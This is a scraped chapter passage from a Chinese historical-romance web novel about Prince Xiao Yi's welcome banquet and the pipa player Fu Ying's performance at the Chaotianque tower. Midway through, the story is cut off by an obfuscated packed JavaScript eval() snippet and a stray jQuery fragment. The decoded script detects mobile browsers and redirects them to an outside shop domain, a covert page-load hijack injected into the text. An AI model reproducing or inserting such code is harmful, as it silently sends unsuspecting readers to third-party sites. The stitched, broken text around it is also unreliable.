萧翊没搭理他,他是第一次到这种地方。
太和轩和位置不同于其他雅间,当年修建朝天阙的时候,楼主特意将楼顶正中的一个位置划分出来,用于日后招待最尊贵的客人。
倘若你坐进了太和轩里,推开门就会发现正对着的地方便是皇宫的午门。
朱瓦红墙自城中拔地而起,登顶楼阙便可将整座庄严肃穆的朱红鎏金宫殿一览无遗。
若是登楼时间为傍晚夕阳西下时,还可以看见鎏金跃瓦的奇观。
当然,太和轩也不是想来就能来的地方。
便是富甲一方的商户也行不通。
太和轩向来只接待王公贵族。
想着萧翊这多年在外行军打仗的,远离红尘世俗多年,城中突然有这一座宝贵大气的宝地寻欢作乐,些许会让他大吃一惊。
同时,从中也可以看出崔璟招待挚友的一番别有用心。
崔他自信挑眉道:“如何呢?这地方,和宫里比起来?”
此处的奢华程度某种程度上可以跟宫中一些位阶低的妃子寝宫不相上下,但萧翊被生来便是凌驾于万人之上,且仅次于皇帝,也就不了了之了。
“尚可。”他点了点头,算是认可了崔璟。
又转问崔璟,“你自己的府邸不也是这般?”
简而言之就是,没什么稀奇的地方。
刚才那句话不过是在恭维你罢了。
二人说笑间,崔璟不知何时从锦袖里抽出一把清雅的玉扇,在胸前有一搭没一搭的摇着,慢悠悠地道:“你做的这个位置和先帝当年如出一辙。”
话音落,他望着那人笑而不语。
随即萧翊凌厉的眉峰一挑,轻抿了一口桌上备好的茶,淡淡道:“睹物思人的感觉倒也不错。”
崔璟哑然失笑
“本来以为你回宫后得在殿前呆上个把月的时间,没想到第二天就敢跑出来,”说罢,朝着萧翊竖起大拇指,“有军功在身上的人就是是不得了。”
萧翊镇守边关多年,立下赫赫战功,手握兵权,在众多天潢贵胄、皇子皇孙面前可以说是鹤立鸡群的存在。
可谈到萧翊当年远征边关的缘由却有些荒唐好笑。
当年皇帝在朝中势弱,太子多病打点朝中事务有心而无余力,萧翊十六便加冠行礼,得字封王,赐府邸,作为众多储君的候选人之一。
为了巩固皇家势力,开枝散叶在所难免。
十六岁那年萧翊的王妃人选就已经换了一茬儿又一茬儿。
隔三差五就要与不同的女子见上一面,他的母后全然不顾二人的感受,两个素未谋面的陌生人你不情我不愿的被硬凑在一块儿,大眼瞪小眼,半晌说不出个字。
倘若他母后点头,第二日他便能同那名女子成亲。
甚至在无意间萧翊还破坏了许多姑娘家原有的好姻缘。
为了攀上皇室这棵常青树,几乎是整个京城能念的上名号的贵女都被父母逼着入宫觐见。
有一阵子,萧翊的名声就因为这件事在京中王公贵族里特别差。
那种如同傀儡一般任人摆布的感受,令他十分厌恶。
他不想被人当作繁衍生育的一颗棋子,甚至还不是为了自己,而是要牺牲自己的幸福成全他人。
他要的是将属于自己的一分一毫牢牢握在在手心里,就算是不属于自己的东西他也需得把控三分。
私底下说是萧翊为了躲避亲事才跑的远远的,但在朝廷上可不兴这么说。
相比较六年前,萧翊在朝中的话语权确实更上一城楼,树立威信,操练亲兵,很多时候朝中元老都得忌惮他。
今日设宴就是为了给萧翊接风洗尘的,来人当然不止他和崔璟二人,还有数位多年未见的好友。
来人纷纷同萧翊寒暄起来,来者多是儿时旧友,可碍于萧翊如今在朝中的地位,便是小时候关系好到要穿一条裤子,眼下也得对他恭敬有加。
萧翊自然也能察觉到其中的微妙之意。
在座的各位都不是能像儿时一般痛快玩耍人了,还得考虑到党派站队一说,还有想要借力攀炎附势的。
除了几个关系特别硬的,剩余的人萧翊始终保持着不冷不热的态度。
伏樱躲在后头,因为先前失态一事心里还压着一块大石头。
加上萧翊看起来就一副凶神恶煞的样子,心底便打起了退堂鼓。
这些楼里的贵客,可不都是好伺候的,也惹不起,且不说很多人都是睚眦必报。
早知这样,今日就不该出本修那把琵琶。
伏樱拍拍自己的头懊悔不已,开始怯场。
俗话说的好,越是怕什么越是来什么。
刘淑这会儿刚忙活玩前厅的事,转眼就从伏樱身后晃出来,见她还是那副心神不宁的模样,心中准到这丫头被吓坏了。
可说到底她是个生意人,哄了也哄了,说了说了,总不能因为这点小事儿就砸了自己的招牌吧。
要是今晚惹了王爷不高兴,整个朝天阙的人都吃不了兜着走。
刘淑没想在说什么,只是站在她身后轻声提醒道:“姑娘快些准备吧,时候不早了。”
听见熟悉的声音,伏樱回头,朝那人轻轻一笑:“多谢刘姐姐提醒,我这就来了。”
见伏樱抱着琵琶毫不犹豫的起身,刘淑脸上再一次绽开了笑容。
今日的朝天阙可谓是热闹非凡。
孔柳也来了,不过他因为店里的事儿,比伏樱稍稍晚上那么一刻钟。
今日朝天阙向他借了人手在凯旋而归的晟王面前觐献歌舞,他当然得到场亲自把关。
虽不及太和轩里的那几位。
朝天阙也把孔柳安排到了一个有头有脸的位置上。
小厮将他引至一处视野开阔的雅间内,观赏歌舞的位置也称得上极佳。
孔柳看了一眼欣然接受,吩咐小厮说:“劳烦伙计搭把手,将这雅间四周的珠帘替我放下来。”
小厮弯腰点点头,按照他的吩咐去做:“好说好说。孔掌柜您先坐着歇会儿,小的这就让人进来给您沏茶。”
奉茶的小厮进来时,朝天阙内的灯突然暗了下来,他垂眸望去,只见楼下舞台的一角尚余一丝光亮。
好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17898139|212888||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
戏开场了——
一眨眼的瞬间,那柱光束变换到了偌大的舞台正中央。
随着它一同出现的,还有一位以轻纱遮面的美人。
因为这一特殊的表演方式,楼内嘈杂的声音都不自觉的跟着神秘的气氛压低不少。
跪坐在舞台中心的伏樱,甚至能听到自己的心跳声。
她从来没有像今天这般紧张过。
可既然已经没有后悔的余地,那就顺其自然吧。
“叮——”的一声,伏樱修长白皙的指节轻轻拂过琴弦发出悦耳动听的脆响,弹奏今夜楼中的第一个音节。
头顶那束由细转粗的暖黄色烛光落在她身上,就像是一层金光镀在了不食人间烟火的清冷仙子身上。
在场的看客无一人能够窥见她的面容,这对她来说会较为轻松,不然她实在是不知道该怎么把控管理自己的面部情绪。
随着弹奏的曲子渐入佳境,整个朝天阙再次慢慢被点亮,数位身姿婀娜的舞者涌上来,佐以伏樱身旁伴舞,同时还有知音坊的几位琴师。
引得伏樱处于舞台中央,存在感过于强了些,这让孔柳不得不注意到她。
这是他第一次听到伏樱弹奏自己的琵琶心底着实震惊。
声声干净利落,轮指连贯有序,音准平稳,没有丝毫杂音。
演奏时有独属于自己的风格,却不脱离曲意,两者结合更上一层楼。
不识音律者估计听不出个大概,只能听得懂这曲子流畅轻快。
而他心中可以肯定的是,伏樱的能力或许在自己之上。
说实话,他先前对伏樱是有些轻视的。
这样的偏见来源于他自小就被冠以音律奇才的名号,放眼整个京城能与他真正叫板的屈指可数。
而朝天阙这样的地方打着京城第一的名号,里面的乐师在他看来,也不过是些不入流的半吊子罢了。
同样带给人震惊的还不知孔柳一人。
位于最高层的萧翊,虽说坐的高,但也能将曲子尽收入耳。
在表演开始之前他嫌周遭环境嘈杂,心里莫名憋了一股火气,干脆找了一个平静的角落阖眼养神。
谁知楼下的乐师开始演奏之时,他心中的不满却渐渐被曲子的旋律所牵引驱散。
如听仙乐耳暂明,说的便是这般道理吧。
他自小也是通晓六艺之人,自然晓得这人弹琵琶的技艺不差。
于是,心底的好奇心驱使着他要去探究,究竟是何人在演奏。
待他大致看清楚那个人的身形轮廓时,才意识到这不就是方才进来时遇到的那个女人。
倒是没看出来,胆子不大,曲儿倒是弹的不错。
从萧翊的视角看去,只能看清伏樱垂眸认真弹奏的模样。
没有华丽的衣着和粉黛以装饰。
她是操纵这一切的主人,引导她身侧的“蝴蝶”们翩翩起舞。
一曲毕,连带着萧翊的心情都变好了几分。
身边的人一看,又急忙凑到跟前给他敬酒恭维。
萧翊心情有所转变,自然是不会拒绝他们。